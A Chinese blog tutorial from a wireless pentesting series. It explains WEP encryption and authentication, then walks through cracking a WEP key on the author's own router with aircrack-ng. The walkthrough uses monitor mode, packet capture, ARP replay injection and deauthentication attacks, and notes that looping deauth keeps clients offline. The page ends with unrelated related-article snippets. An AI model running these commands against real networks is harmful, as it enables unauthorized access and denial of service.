当前位置: 首页 > news >正文

无线WiFi安全渗透与攻防(五)之aircrack-ng破解WEP加密

系列文章

无线WiFi安全渗透与攻防(一)之无线安全环境搭建
无线WiFi安全渗透与攻防(二)之打造专属字典
无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码
无线WiFi安全渗透与攻防(四)之kismet的使用

aircrack-ng破解WEP加密

1.WEP介绍

其实我们平常在使用wifi的时候,往往会用到的加密方式主要有WEP(pre-RSNA), WPA(TKIP), WPA2(CCMP-AES), 如果有个别对安全要求比较高的也会使用企业级加密(802.1x). 在最新的802.11-2010标准中,有明确的支持新的无线设备应该抛弃WEP和WPA加密方式,而且必须支持WPA2加密方式,但是不得不接受的是,现在我们是有的大多数设备并没有更新的这么快,广泛的WEP和WPA仍然在使用中,而且新开发的设备也应该保持对他们的兼容,所以即使在最新开发的产品中也并没有完全按照802.11-2010的要求,直接放弃对WEP和WPA的支持。

刚开始了解无线加密,也有必要从WEP加密开始掌握WEP-WPA-WPA2-802.1x等相关知识,一是这些东西至少在当前阶段还用的上,二是后面那些更高级的加密方法其实根本上还是基于WEP加密思想改进而来的。

其实无线加密主要是对数据在链路层进行加密,如下图,802.11主要是对physical[ˈfɪzɪkl]和Data-link层进行了定义,而数据链路层又分成两个部分,媒介访问控制(MAC)和逻辑链路控制(LLC),无线数据的加密处理就是在MAC和LLC两个阶段中间做的事情,加密的对象就是MSDU。

在这里插入图片描述

所以对于没有MSDP的无线帧是不用加密的,比如管理帧只携带layer [ler] 2的信息,不需要加密;控制帧只有头部和尾部,不需要加密;空帧没有数据域(但有特定的功能),也不需要加密; 总之,需要加密的帧,往往是数据帧。

2.认证类型

加密的分类主要包括共享秘钥认证和开放系统认证,WEP加密是共享秘钥式,而TKIP、CCMP和802.1x则是开放系统,这两种分类个人觉得主要区别是先完成秘钥认证再进行关联,还是先完成关联再进行秘钥认证。比如,它要求无线客户端发送的authentication [ɔːˌθentɪˈkeɪʃn] 报文中指定加密方式,如果是共享秘钥就会进行秘钥的确认,如果是开放系统,则会留到后面关联成功后进行秘钥的确认。

1.开放系统认证

这种认证方式不需要确认STA的任何信息,它只是和AP进行一个招呼式的交互,这个过程中并没有交互身份信息,所以也可以认为是一个空加密。这样做的目的是,双方都认为应该在后面使用更安全的加密方式,在这里只是先打个招呼,STA先进来,我们慢慢坐下核对信息。所以STA发送的第一个Authentication [ɔːˌθentɪˈkeɪʃn] 报文只要表面自己使用的开放系统认证就好了,AP自然会给予successful答复,接着后面顺利完成关联。

在这里插入图片描述

2.共享秘钥认证

这种认证方式使用WEP认证STA,所以这种认证的前提是STA和AP都有配置静态的WEP秘钥,因此认证的目的就是确认两者使用的秘钥是否一致。共享秘钥认证是通过4个认证帧的交互来完成的,STA首先发送一个Authentication request给AP,然后AP会给STA回复一个挑战明文,接着STA使用秘钥对这个明文进行加密并发送给AP,最后AP对其进行解密,如果能够解密成功并且明文一致则表示认证成功并回复。

在这里插入图片描述

虽然看起来,共享秘钥认证比开放系统认证会更安全,其实实际上并不是这样,因为对于共享秘钥认证,攻击者可以捕获明文内容,也可以捕获加密后的密文,那就很容易被破解,而且秘钥一旦被破解,那么后面交互的所有数据包都能轻易的解密。

3.加密算法介绍

根据加密算法的分类,可以分为同步加密算法和异步加密算法:

同步加密算法:这种算法不管是加密还是解密,都是使用同一个秘钥,为了确保数据的安全,就需要对这么秘钥进行保护,但问题是在进行认证的时候必须对这个秘钥进行确认,那么就需要提出一种安全的确认秘钥的方法,这些方法包括WEP, TKIP, and CCMP。

异步加密算法:这种算法包含了两个秘钥,分别是公钥和私钥,公钥用于消息的加密,私钥用于消息的解密,所以即使有好多人知道公钥,没有私钥也破解不了消息。

流加密和块加密: 流加密以一个bit为单位进行处理,块加密以一个块为单位进行处理

4.WEP加密和解密

1.加密

WEP是一个Layer 2的加密方法,它使用的是ARC4流加密。它有一个数据完整性校验操作,也就是Integrity Check Value (ICV),这个值是通过计算为加密的数据域(MSDU)而来的。

802.11标准定义了两个WEP版本,分别是WEP-40和WEP-104支持64bit和128bit加密,其实40和104都是从64与128减24得来的,这24位叫初始化向量Initialization Vector (IV),注意和ICV进行区分。

在这里插入图片描述

40和104则是指静态秘钥的bit长度,也就是说

WEP-40支持输入10 hex characters or 5 ASCII characters,10位16进制或5位ASCII字符

WEP-104支持输入26 hex characters or 13 ASCII characters:26位16进制或13位ASCII 字符

在这里插入图片描述

一般来说,WEP支持4个key,使用时从中选一个进行加密。

那么WEP加密过程是怎么实现的呢?下面根据流程图来分析一下

在这里插入图片描述

(1) IV是动态生成的24bit随机数,标准没有指定应该怎么生成,而且在数据帧中以明文的方式进行发送,它和key结合生成随机种子(seed),然后运用CR4算法生成秘钥流(keystream)。

(2)对需要加密的明文进行CRC-32运算,生成 ICV(32位),然后将这个 ICV 追加到 plaintext的后面

(3)将尾部有 ICV的plaintext 与密码流进行异或运算,得到加密数据

(4)将 IV 添加到加密数据的前面,进行传送。

下面是WEP加密后的一个数据帧MPDU 格式:

在这里插入图片描述

从上图可以看出,在帧体部分包括 IV + MSDU + ICV:

IV一共是4个字节,前3个字节是24bit的初始化向量,后面6bit暂时预留空白没用,最后两个bit用来指定使用哪个key,我们前面有提到过,WEP可以配置4个KEY。

MSDU和ICV是被加密的,在解密的时候,需要检验ICV是否一致

2.解密

和加密相反,解密也需要这几个过程:

在这里插入图片描述

(1)IV和key结合生成随机种子(seed),然后运用ACR4算法生成秘钥流(keystream)

(2)将keystream和加密数据进行异或,得到 plaintext 和 ICV

(3)根据解密后得到的 plaintext 再计算一个 ICV 和包中的 ICV进行比较,判断是否相等,这也算是一个可靠性的保证。

5.Aircrack-ng 常用工具包

aircrack-ng:破解

airmon-ng:改变网卡工作模式,将网卡从Managed Mode 改变为 Monitor Mode

airodump-ng:抓包工具,用于捕获报文

aireplay-ng:提供各种攻击,为airodump-ng创造更多的报文

airserv-ng:网卡连接到指定端口 可以用来做无线跳板

airolib-ng:彩虹表破解创建数据库文件

airdecap-ng:解包

6.Aireplay-ng 的 6 种攻击模式详解

1.冲突模式

-0 Deautenticate 冲突模式

使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。

如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。

aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
【-a】:设置 ap 的 mac
【-c】:设置已连接的合法客户端的 mac。
如果不设置-c,则断开所有和 ap 连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器

2.伪装客户端连接

-1 fakeauth count 伪装客户端连接

这种模式是伪装一个客户端和 AP 进行连接。

这步是无线客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。

用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注入命令后才可反馈数据从而产生 ARP 包。

aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明:
【-1】:伪装客户端连接模式,后面跟延时
【-e】:设置 ap 的 essid
【-a】:设置 ap 的 mac
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)

3.交互模式

-2 Interactive 交互模式

这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式

1.这种模式主要用于研究学习无客户端,先用-1 建立虚假客户端连接然后直接发包攻击

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明:
【-2】:交互攻击模式
【-p】:设置控制帧中包含的信息(16 进制),默认采用 0841
【-c】:设置目标 mac 地址
【-b】:设置 ap 的 mac 地址
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)

2.提取包,发送注入数据包, 发包攻击。

 aireplay-ng -2 –r <file> -x 1024 wifi0-x 1024 是限定发包速度,避免网卡死机,可以选择 1024

4.注入攻击模式

-3 ARP-request 注入攻击模式

这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客户端那一般需要等几分钟,让合法客户端和 ap 之间通信,少量数据就可产生有效 ARP request 才可利用-3模式注入成功。如果没有任何通信存在,不能得到 ARP request.,则这种攻击就会失败。

如果合法客户端和ap之间长时间内没有 ARP request,可以尝试同时使用-0 攻击. 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生有效 ARP request。再通过-3 模式注入。

aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明:
【-3】:arp 注入攻击模式
【-b】:设置 ap 的 mac
【-h】:设置自己的mac地址
【-x】:定义每秒发送数据户包的数量,但是最高不超过 1024,建议使用 512(也可不定义)

5.Chopchop 攻击模式

-4 Chopchop 攻击模式

用以获得一个包含密钥数据的 xor 文件 这种模式主要是获得一个可利用包含密钥数据的 xor 文件,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。

aireplay-ng -4 -b <ap mac> -h <my mac> wifi0 
参数说明:
【-b】:设置需要研究学习的 AP 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)

6.碎片包攻击模式

-5 fragment 碎片包攻击模式

用以获得 PRGA(包含密钥的后缀为 xor 的文件) 这种模式主要是获得一个可利用 PRGA,这里的 PRGA 并不是 wep key 数据,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标 AP 重新广播包,当 AP 重广播时,一个新的 IVS 将产生,我们就是利用这个来研究学习

aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】:碎片包攻击模式
【-b】:设置 ap 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)

7.WEP wifi破解步骤

1.环境准备

1.路由器介绍

本文使用的路由器为:思科企业级内置双天线cvr100无线路由器,支持WEP,WPA,WPS加密方式,一般的家用路由器或者比较新的路由器不支持以上三种模式。

2.路由器配置

1.选择无线配置,设置wifi信道为1

在这里插入图片描述

2.选择无线wifi–设置安全模式

在这里插入图片描述

3.安全模式选择wep,输入口令-点击生成密钥,点击显示密钥,点击保存

在这里插入图片描述

2.查看网卡是否连接到kali

ip a

在这里插入图片描述

3.开启Monitor Mode工作模式

airmon-ng start wlan0

在这里插入图片描述

4.扫描附近的wifi

确定目标wifi的信道,加密方式,信号强度,mac地址等信息

airodump-ng wlan0mon

在这里插入图片描述

5.对目标所在信道进行抓包

airodump-ng wlan0mon -c 1 --ivs -w /root/wifi/bk01/WEP --bssid 10:BD:18:08:43:31
-c:信道
--ivs:初始化向量
-w:输出抓包文件
--bssid:指定wifi进行抓包

在这里插入图片描述

6.手工创建客户端连接

设备连接wifi

当有设备连接AP时,工具会捕获到这个客户端的mac地址即相关信息

在这里插入图片描述

7.进行ARP注入攻击

arp重放攻击,通过模拟客户端发送ARP请求,获取AP的响应报文,通过AP报文获取ivs初始化向量

aireplay-ng -3 -b 10:BD:18:08:43:31 -h 68:54:5A:85:CB:40 wlan0mon
-3:arpreplay:arp重放攻击
-b:bssid AP的mac地址
-h:客户端的mac地址

在这里插入图片描述

遇到这个错误时,重新连接wifi会一直报【无法连接到该wifi】,这时候,需要ctrl+C停掉arp重放攻击,然后重新在发起一个新的arp重放攻击,在连接wifi就ok了

8.使用Deautenticate攻击模式

使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。(也不一定能成功,不成功多试几次)

aireplay-ng -0 5 -a 10:BD:18:08:43:31 -c 68:54:5A:85:CB:40 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac

在这里插入图片描述
在这里插入图片描述

9.手动连接AP

等待Frame到5-10万时,就可以尝试破解了

在这里插入图片描述

10.破解WIFI,获取WEP密码

aircrack-ng /root/wifi/bk01/WEP-01.ivs

在这里插入图片描述

遇到这种说明ivs样本不够,按ctrl+c退出,在等一会重新执行破解命令就可以。也可以在这个界面保持不动,当ivs达到5000时,他会自动重新破解

ivs样本足够时,很快就能破解出来了

在这里插入图片描述

把冒号去掉就是密钥了,然后用这个密钥就可以连接WEP加密的WIFI了

相关文章:

无线WiFi安全渗透与攻防(五)之aircrack-ng破解WEP加密

系列文章 无线WiFi安全渗透与攻防(一)之无线安全环境搭建 无线WiFi安全渗透与攻防(二)之打造专属字典 无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码 无线WiFi安全渗透与攻防(四)之kismet的使用 aircrack-ng破解WEP加密 1.WEP介绍 其实我们平常在使用wifi的时…...

MySQL中事务的相关问题

事务 一、事务的概述&#xff1a; 1、事务处理&#xff08;事务操作&#xff09;&#xff1a;保证所有事务都作为一个工作单元来执行&#xff0c;即使出现了故障&#xff0c;都不能改变这种执行方式。当在一个事务中执行多个操作时&#xff0c;要么所有的事务都被提交(commit…...

推荐算法再次踩坑记录

去年搞通了EasyRec这个玩意&#xff0c;没想到今年还要用推荐方面的东西&#xff0c;行吧&#xff0c;再来一次&#xff0c;再次踩坑试试。1、EasyRec训练测试数据下载&#xff1a;git clone后&#xff0c;进入EasyRec&#xff0c;然后执行&#xff1a;bash scripts/init.sh 将…...

STM32 (十五)MPU6050

简介前言一、MPU6050简介MPU6050是一款性价比很高的陀螺仪&#xff0c;可以读取X Y Z 三轴角度&#xff0c;X Y Z 三轴加速度&#xff0c;还有内置的温度传感器&#xff0c;在姿态解析方面应用非常广泛。下面是它在淘宝上的参数图产品尺寸产品参数产品原理图&#xff1a;二、硬…...

使用yarn,依赖报各种错误怎么办

使用 yarn^3.x 版本时&#xff0c;默认并不会安装包到 node_modules&#xff0c;因为 yarn3.x 是即插即用的&#xff0c;也就是说如果你下载过这个包&#xff0c;yarn只会生成一个 Png文件&#xff0c;然后将包的路径 link 到下载过的地方&#xff0c;这样可以省去很多时间。而…...

面试官:rem和vw有什么区别

"rem" 和 "vw"的区别 "rem" 和 "vw" 都是用于网页设计的CSS单位。 "rem" 是相对于根元素的字体大小来计算的单位&#xff0c;即相对于 "html" 标签的字体大小。例如&#xff0c;如果 "html" 标签的字…...

【GPT-4】GPT-4 相关内容总结

目录 ​编辑 官网介绍 GPT-4 内容提升总结 GPT-4 简短版总结 GPT-4 基础能力 GPT-4 图像处理 GPT-4 技术报告 训练过程 局限性 GPT-4 风险和应对措施 开源项目&#xff1a;OpenAI Evals 申请 GPT-4 API API的介绍以及获取 官网介绍 官网&#xff1a;GPT-4 API候…...

5.springcloud微服务架构搭建 之 《springboot集成Hystrix》

1.springcloud微服务架构搭建 之 《springboot自动装配Redis》 2.springcloud微服务架构搭建 之 《springboot集成nacos注册中心》 3.springcloud微服务架构搭建 之 《springboot自动装配ribbon》 4.springcloud微服务架构搭建 之 《springboot集成openFeign》 目录 1.项目…...

【工作中问题解决实践 七】SpringBoot集成Jackson进行对象序列化和反序列化

去年10月份以来由于公司和家里的事情太多&#xff0c;所以一直没有学习&#xff0c;最近缓过来了&#xff0c;学习的脚步不能停滞啊。回归正题&#xff0c;其实前年在学习springMvc的时候也学习过Jackson【Spring MVC学习笔记 五】SpringMVC框架整合Jackson工具&#xff0c;但是…...

香港服务器遭受DDoS攻击后如何恢复运行?

​  您是否发现流量异常上升?您的网站突然崩溃了吗?当您注意到这些迹象时&#xff0c;可能是在陷入了DDoS攻击的困境&#xff0c;因而&#xff0c;当开始考虑使用香港服务器时&#xff0c;也应该考虑香港服务器设备受DDoS攻击时&#xff0c;如何从中恢复。 在 DDoS 攻击香港…...

【Hive】配置

目录 Hive参数配置方式 参数的配置方式 1. 文件配置 2. 命令行参数配置 3. 参数声明配置 配置源数据库 配置元数据到MySQL 查看MySQL中的元数据 Hive服务部署 hiveserver2服务 介绍 部署 启动 远程连接 1. 使用命令行客户端beeline进行远程访问 metastore服务 …...

IP-GUARD如何强制管控电脑设置开机密码要符合密码复杂度?

如何强制管控电脑设置开机密码要符合密码复杂度? 7 可以在控制台-【策略】-【定制配置】,添加一条配置,开启系统密码复杂度检测。 类别:自定义 关键字:bp_password_complexity 内容:1 效果图:...

剑指 Offer II 031. 最近最少使用缓存

题目链接 剑指 Offer II 031. 最近最少使用缓存 mid 题目描述 运用所掌握的数据结构&#xff0c;设计和实现一个 LRU(Least Recently Used&#xff0c;最近最少使用) 缓存机制 。 实现 LRUCache类&#xff1a; LRUCache(int capacity)以正整数作为容量 capacity初始化 LRU缓…...

44岁了,我从没想过在CSDN创作2年,会有这么大收获

1998年上的大学&#xff0c;02年毕业&#xff0c;就算从工作算起&#xff0c;我也有20余年的码龄生涯了。 但正式开启博文的写作&#xff0c;却是2021年开始的&#xff0c;差不多也就写了2年的博客&#xff0c;今天我来说说我在CSDN的感受和收获。 我是真的没想到&#xff0c;…...

相位相参信号源的设计--示波器上的信号不稳定,来回跑?

目录乱跑的波形边沿触发触发方式外部触发相参与非相参相位相参的射频信号源样机外观与内部设计软件设计上位机软件信号源使用方法PWM触发信号射频信号的时域波形射频信号的频谱输出功率在示波器的实际使用当中波形在示波器的时域上乱跑&#xff0c;左右移动&#xff0c;定不下来…...

Spring Boot 整合 RabbitMQ 多种消息模式

Spring Boot 整合 RabbitMQ 多种消息模式 准备工作集成 RabbitMQ发布/订阅模式点对点模式主题模式总结Spring Boot 是一个流行的 Java 应用程序开发框架,而 RabbitMQ 是一款可靠的消息队列软件。将 Spring Boot 和 RabbitMQ 结合起来可以帮助我们轻松地实现异步消息传递。Rabb…...

node多版本控制

前言 最近在折腾Python&#xff0c;并将node升级至v18.14.2。突然发现一个旧项目无法运行&#xff0c;也无法打包&#xff0c;里面的node-sass报错&#xff0c;显然这是因为node版本过高导致的。 将node版本降低至以前的v14.16.0&#xff0c;果然立马就能正常运行。 存在不同…...

Redis set集合

Redis set &#xff08;集合&#xff09;遵循无序排列的规则&#xff0c;集合中的每一个成员&#xff08;也就是元素&#xff0c;叫法不同而已&#xff09;都是字符串类型&#xff0c;并且不可重复。Redis set 是通过哈希映射表实现的&#xff0c;所以它的添加、删除、查找操作…...

漫画:什么是希尔排序算法?

希尔排序&#xff08;ShellSort&#xff09;是以它的发明者Donald Shell名字命名的&#xff0c;希尔排序是插入排序的改进版&#xff0c;实现简单&#xff0c;对于中等规模数据的性能表现还不错 一、排序思想 前情回顾&#xff1a;漫画&#xff1a;什么是插入排序算法&#xf…...

问卷工具选择要看哪些方面?

通常来讲&#xff0c;我们在使用一款问卷制作工具制作问卷时会有哪些需求呢&#xff1f; 一、用户需求 1、操作简单&#xff0c;易上手。 2、能够满足用户个性化的需求。 3、提供多语言服务。 4、能够帮助发布以及数据收集。 5、简化数据分析 市面上的问卷调查制作工具都…...

Qt之QPainter绘制多个矩形/圆形(含源码+注释)

一、绘制示例图 下图绘制的是矩形对象&#xff0c;但是将绘制矩形函数&#xff08;drawRect&#xff09;更改为绘制圆形&#xff08;drawEllipse&#xff09;即可绘制圆形。 二、思路解释 绘制矩形需要自然要获取矩形数据&#xff0c;因此通过鼠标事件获取每个矩形的rect数…...

介绍两款红队常用的信息收集组合工具

介绍两款红队常用的信息收集组合工具1.Ehole本地识别FOFA识别结果输出2.AlliN1.Ehole EHole(棱洞)3.0 红队重点攻击系统指纹探测工具 EHole是一款对资产中重点系统指纹识别的工具&#xff0c;在红队作战中&#xff0c;信息收集是必不可少的环节&#xff0c;如何才能从大量的资…...

类ChatGPT国产大模型ChatGLM-6B,单卡即可运行

2023年3月14日GPT4又发布了&#xff0c;在ChatGPT发展如火如荼的当下&#xff0c;我们更应该关注国内的进展&#xff0c;今天将分享一个清华大学基于GLM-130B模型开发的类似ChatGPT的ChatGLM-6B模型&#xff0c;ChatGLM-6B 是一个开源的、支持中英双语的对话语言模型&#xff0…...

vue的diff算法?

文章目录是什么比较方式原理分析Diff算法的步骤&#xff1a;首尾指针法比对顺序&#xff1a;是什么 diff 算法是一种通过同层的树节点进行比较的高效算法 其有两个特点&#xff1a; 比较只会在同层级进行, 不会跨层级比较 在diff比较的过程中&#xff0c;循环从两边向中间比较…...

C++ | 对比inline内联函数和宏的不同点

文章目录一、前言二、宏的优缺点分析1、概念回顾2、宏的缺点3、宏的优点三、inline内联函数1、概念2、特性①&#xff1a;空间换时间&#x1f381;趣味杂谈&#xff1a;庞大的游戏更新包3、特性②&#xff1a;inline实现机制4、特性③&#xff1a;inline的声明与定义反汇编观察…...

面试官问 : ArrayList 不是线程安全的,为什么 ?(看完这篇,以后反问面试官)

前言 金三银四 &#xff1f; 也许&#xff0c;但是。 近日&#xff0c;又收到金三银四一线作战小队成员反馈的战况 &#xff1a; 我不管你从哪里看的面经&#xff0c;但是我不允许你看到我这篇文章之后&#xff0c;还不清楚这个面试问题。 本篇内容预告&#xff1a; Array…...

Linux串口应用编程

一、 串口API 在Linux系统中,操作设备的统一接口就是:open/ioctl/read/write。 对于UART,又在ioctl之上封装了很多函数,主要是用来设置行规程。 所以对于UART,编程的套路就是: open设置行规程,比如波特率、数据位、停止位、检验位、RAW模式、一有数据就返回read/write 怎么设置…...

java程序员学前端-HTML篇

HTML 与 CSS HTML 是什么&#xff1a;即 HyperText Markup language 超文本标记语言&#xff0c;咱们熟知的网页就是用它编写的&#xff0c;HTML 的作用是定义网页的内容和结构。 HyperText 是指用超链接的方式组织网页&#xff0c;把网页联系起来Markup 是指用 <标签>…...

【云原生|Docker】03-docker的基础操作

目录 前言 查询相关 容器相关 1. 容器启动 2. 容器关闭 3. 重启容器 4. 暂停容器 5. 删除容器 6. docker run参数汇总 镜像相关 1. 镜像推送至仓库 2. docker image load使用 3. docker image import使用 4. dokcer image参数汇总 前言 容器的命…...

vue2+高德地图web端开发使用

创建vue2项目我们创建一个vue2项目&#xff0c;创建vue2项目就不用再多说了吧&#xff0c;使用“vue create 项目名 ”创建即可注册高德地图高德地图官网地址&#xff1a;https://lbs.amap.com/如果是第一次使用&#xff0c;点击注册然后进入我们的控制台注册完之后进入控制台&…...

网站上怎么做艳丽的色/泰州seo推广公司

应客户需求&#xff0c;需要做sharepoint SSO&#xff0c;以前都是默认的AD验证&#xff0c;如果客户已经有一套SSO系统&#xff0c;验证过SSO之后就能自动登录&#xff0c;而不是浏览器上设置保存用户名密码的AD登陆。 怎么做呢&#xff1f; 首先sharepoint是asp.net衍生而来&…...

非商业组织的网站风格/代写文案的软件

1.前言 身处在移动互联网的今天&#xff0c;移动应用开发炙手可热&#xff0c;身为程序猿的我们怎么能错过开发一款我们自己的APP.本人算是一个基于.net的GIS开发入门者&#xff08;马上就大四啦&#xff09;&#xff0c; 暑假在学校参加GIS比赛有大把的时间&#xff0c;利用最…...

签署网站建设协议新闻/seo推广外包

2019独角兽企业重金招聘Python工程师标准>>> 至少准备两个节点 以下操作适用于centos/rhel 命令的操作若没注明&#xff0c;则应该在所有节点执行对应的命令 备注&#xff1a;在CentOS6/rehel6,需要先安装xfsprogs包&#xff0c;这样才能格式化XFS文件系统 yum inst…...

万网 网站/网络热词的利弊

yii默认提供获取$_GET和$_POST值的方法,以及请求类型判断,url地址参数信息获取等.使用起来很方便,当然系统$_GET $_POST还是可以用,注:不能相信任何用户提交的任何参数值,以免出现安全问题, 如get参数id5, 用户访问的时候id不一定等于5GET POST请求参数获取要获取请求参数&…...

迈网科技 官方网站/各类资源关键词

开篇&#xff1a;说清缘由 首先介绍一下我的个人背景&#xff0c;鄙人小康家庭&#xff0c;父母都是普通职业&#xff0c;供我读书长大不容易&#xff0c;好在我也算争气&#xff0c;高考发挥正常&#xff0c;考了个还算不错的大学&#xff0c;华南地区某211。今年的金三银四本…...

有什么网站可以免费看电影/广州市疫情最新

1.正则表达式匹配${key} \$\{([a-z])\} 能够匹配字符串中以${key}形式的文本(其中key为小写应为字母) .*\$\{([a-z])\}.* 可以用来检测文本中是否有${key}形式的文本 解释如下: . 匹配除换行符 \n 之外的任何单字符 * 匹配前面的子表达式零次或多次 要匹配 * 字符&#xff0c;请…...